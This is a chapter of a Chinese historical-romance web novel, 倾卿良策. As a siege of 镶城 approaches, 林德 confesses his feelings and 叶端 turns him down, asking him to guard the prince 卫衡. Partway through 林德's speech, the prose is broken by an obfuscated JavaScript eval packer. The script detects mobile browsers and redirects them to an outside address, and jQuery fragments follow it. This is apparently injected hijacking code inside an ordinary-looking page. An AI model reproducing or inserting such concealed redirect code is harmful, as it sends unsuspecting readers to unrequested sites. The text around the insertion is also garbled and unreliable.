226. 萧军兵临镶城下,叶端战前托卫衡……

作品:《倾卿良策

    军中染病的士兵尽为在城东换防时,喝了城东的凉水,吃了城东店家的食物,那天傍晚,城东有富贾自言做善事,宴请城东的百姓和将士,故而才集中发病……


    卫衡闻讯后,派人抓捕那位宴请的商人,结果却晚了一步,那人已经自悬于梁。


    卫衡下令开仓放粮,又让人在城中再挖水井,以供镶城百姓使用。


    是日,叶端正给患者喂药,连威突至:“叶校尉,殿下传令各队正及以上职务的官员到公廨集议。”


    有医女闻言,连忙空出手来,接替叶端给患者喂药,叶端便随连威快步去了公廨。


    各队正及以上职务的官员集议,这在叶端从军以来是第一次。往往军中主将集议,最多下至校尉,再由校尉逐级传达。而这次,竟直接召集了几乎所有单位作战的官员,情况一定非同小可。


    事实也确实如此。


    卫衡派出的斥候刚刚来禀,镶城以北十里外,忽现萧军军旗。粗略估算,兵力不少于两万。萧军以骑兵为主,十里的距离,喝杯茶的工夫便可直逼镶城城下。故而卫衡来不及一级级安排部署,加之大半士兵尚被重疾缠身,能作战的兵力屈指可数,他必得好好筹谋,以求发挥最大的战力。


    前军负责坚守城门,中军替补。


    鸣弓营算是武卫各建制中人数最齐全的队伍,他们不必换防,故所幸无人染病。也因此,鸣弓营承担着最重的护城任务——等城上的前军士兵放出弩箭后,鸣弓营便出城迎敌,务必将敌军击退。


    但两方兵力是悬殊的,萧军退守菡州后,补充了大量兵马。鸣弓营的人数尚不及其十分之一……


    镶城外,依旧天高云淡,冬日暖阳洒下,前方的大漠一片金灿灿。


    “这种天气,正适合游玩。”林德站在城墙上,望着远处轻声叹道。


    叶端看一眼身边的他,抿嘴道着:“林兄之邀,我可还记得,等此役战罢,我必随林兄出城去玩个痛快,翠山、嘉州、菡州,还有支竺城,我们都去转转……”


    “好。”林德低声应着,“不过,得等以后了。”


    叶端闻言,微微扬起的嘴角慢慢沉下:“林兄……何意?”


    林德低了低头,转身正对着叶端看来,他深呼一口气,故作轻松却又分明不舍地道着:“我要回去了,师父说,长荣与北江作战抽不开身,延胡一定不会安于观望,他让我回峥城岭,时刻观察延胡动向。”


    听完,叶端颔首:“哦,殿下深谋远虑,这种安排对长荣和峥城岭来说都是有益的。林兄在长荣这么久,帮了我许多大忙,谨义自该设宴深表谢意,只是……如今城中尚且忙得不可开交……”她抱拳,“等以后,这顿酒,我一定给林兄补上。”


    “先不说这个。”林德一下按住叶端的手,“叶妹妹,我有一事,想要问问你。”


    他喉头滚动片刻,才试探似的道:“你可愿与我一起回峥城岭?”


    叶端目光一滞,缓缓放下手去:“林兄何出此言?”


    “我知道这么与你说,定是唐突,可我……也没有其它更好的机会了。叶妹妹,我对你的心意,我想你是明白的。而我也是明白你的,你希望看到百姓生活富足,安乐祥和,这样的不讳之朝,峥城岭可以给你。以你的才干,也必可让峥城岭成为不逊于长荣富庶、强大的地方。叶妹妹,峥城岭需要你……长荣的太后疑心重,与其你在长荣受委屈,不如随我回峥城岭去施展抱负。可好?”


    林德的话音落下,身边安静了许久。


    叶端沉默过后,开口道:“林兄所言,你可真的用心考虑过?”


    “嗯。”林德应声,“这些话,我在心里已经想了好久了。”


    “那在林兄心里,钰盛公主又占据何种位置?”


    林德抿了抿唇:“她是、她是长荣的长公主。”


    叶端不语,凝神看着他。


    他又道:“钰盛为我此生所爱,但我二人,一个想要草原驰骋的骏马,一个想要山间繁花……注定无法在一起,况且,如今她也已经嫁了人……”


    “所以林兄便退而求其次,选择我了?”叶端打断林德的话。


    林德一怔,继而道着:“那倒也不是。我很喜欢你,从见你的第一面就喜欢,你为国献策、善待百姓,身为峥城岭的少主,将来的妻子就该是你这样的……还有,当日我去帅府提亲是真心的,并不存在什么‘退而求其次’之说,你从来都不输任何人,若能娶你,是我高攀。”


    “林兄言重了。”叶端局促地再打断他,“你既说明白我,又怎能不知我的心意,我有心仪之人,更有需要守护的疆域,身为叶家之后,便有责任守好长荣边疆,我怎能、怎可能随你走呢?”


    林德迟滞片刻,又点着头道:“我知道,可是叶妹妹,我能感受得出来,你并不讨厌我,你也是喜欢我的,你说长荣边疆,峥城岭亦可作为长荣的边疆由你守护啊!”


    叶端怔愣地看着眼前地林德,他说的话,愈发无理了。


    林德许是意识到自己的无理取闹,他在叶端的注视下垂下头去:“我就是希望,能有个机会拉近长荣与峥城岭的关系。来长荣这么久,我结交了不少朋友……叶妹妹,你是我的第一个长荣朋友。上次回去,林仪还与我问起过你,她也喜欢你,还想让你做家人。”


    叶端默声片刻,轻笑道:“我们本就是家人啊。志同道合、志趣相投、又心有灵犀,家人都不一定能做到这些。不管长荣人还是峥城岭的族人,我们都说着同样的话,写着相同的字,衣食住行、节日、舞乐都无二致,又何尝不是一家人呢?”


    “呵……”听完叶端的话,林德欲说还休,忽而出声轻笑起来,“果真,师父说的,果真是对的。”


    叶端好奇:“殿下又说什么了?”


    林德便道:“师父说,喜欢一个人,与喜欢一个物件不同,是人便有自己的喜好,可能应诺我,也可能拒绝我。叶妹妹,虽然你拒绝了我,可我还要谢谢你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324464|186447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    今日能听我说完心里想说的话,也谢谢你的安慰。”


    他转身望向城下,双目可视的最远处,已有隐隐尘烟卷起,他神色逐渐凛冽,便将手边佩刀握紧,又如释重负地舒一口气:“妹妹,兄长陪你出城御敌!”


    叶端看向林德,仿佛那刻她见到的不是林德,而是叶堂。


    “多谢兄长。”叶端道着,“可我还有一事想托于兄长,万望兄长允诺。”


    林德偏头看她:“你说。”


    叶端压下声音:“我想请兄长,替我护好殿下。”


    林德转头看看卫衡,又转回视线:“师父身边有连威,我还要随你出城迎战,师父都答应了……”


    “出城迎战是鸣弓营的事,是我叶端的责任,而非峥城岭少主的。”叶端道。


    她望向远处城墙另一角上一动不动伫立的卫衡,又道:“殿下近来乏累,还有风寒未愈,若是与敌军交手,势必不如此前得心应手,真打起来,连威一人怕是顾不过来,到时你帮我劝劝他,带他退到后方去指挥,万不可意气用事,真让敌军得逞……”


    看着叶端渐渐湿润的眸子,林德一时犹豫不决。


    “有你我在城下守着,绝不会让敌军攻上来……”


    “峥城岭少主与长荣晋王同样重要!”叶端的话,如她袖中的银针,一下扎在林德心里。


    他犹豫许久,终于点了点头:“好……我答应你。”


    叶端又看一眼卫衡,城下已能隐隐听见战马嘶吼。


    “萧军来了!”瞭望台上瞭望的士兵高喊,城墙上的士兵纷纷架起了弓箭。弩车也被推了上来,架好弩,只等敌军靠近。


    刀锋般犀利的眉峰飞入鬓角,卫衡望着临近的敌军,面色无异,抓着刀柄的手却在氅衣下暴起了青筋。


    身边的连威已是第五次朝他看来,亦是第五次欲言又止。


    卫衡撩起大氅,转身迈起大步,便听连威坚决的声音响起:“殿下,让我替叶校尉去吧!”


    卫衡霎时停下,偏头瞥着身后的连威,声音冷得厉害:“你想让本王临阵换将?还是你不信叶端能打好这一仗?”


    连威惶恐抱拳颔首:“属下并无此意。只是、只是敌军兵力十倍于我,纵使……殿下,还是让我去吧。叶姑娘于您、于城中百姓而言,都比我重要……”


    “混账!”


    连威话没说完,就被卫衡採住领口半提了起来。


    卫衡的眼神好似出鞘的利剑,犀利而凶狠:“我长荣将士,每一个都很重要!”他齿间深处松开几字,手上也松了力,“若你再敢有半句扰乱军心之言,我必将你按律处治!”


    说罢,他便转身阔步往叶端方向走去。


    镶城内外适时起了风,扬尘翻滚着卷起,张牙舞爪。


    卫衡迎风走着,胸膛好似被掏空般,静得出奇,一点感受不到本该有的温热的血流。吸入的空气也仿佛从其镂空的胸膛径直逸出,怎么都不能令他正常呼出来。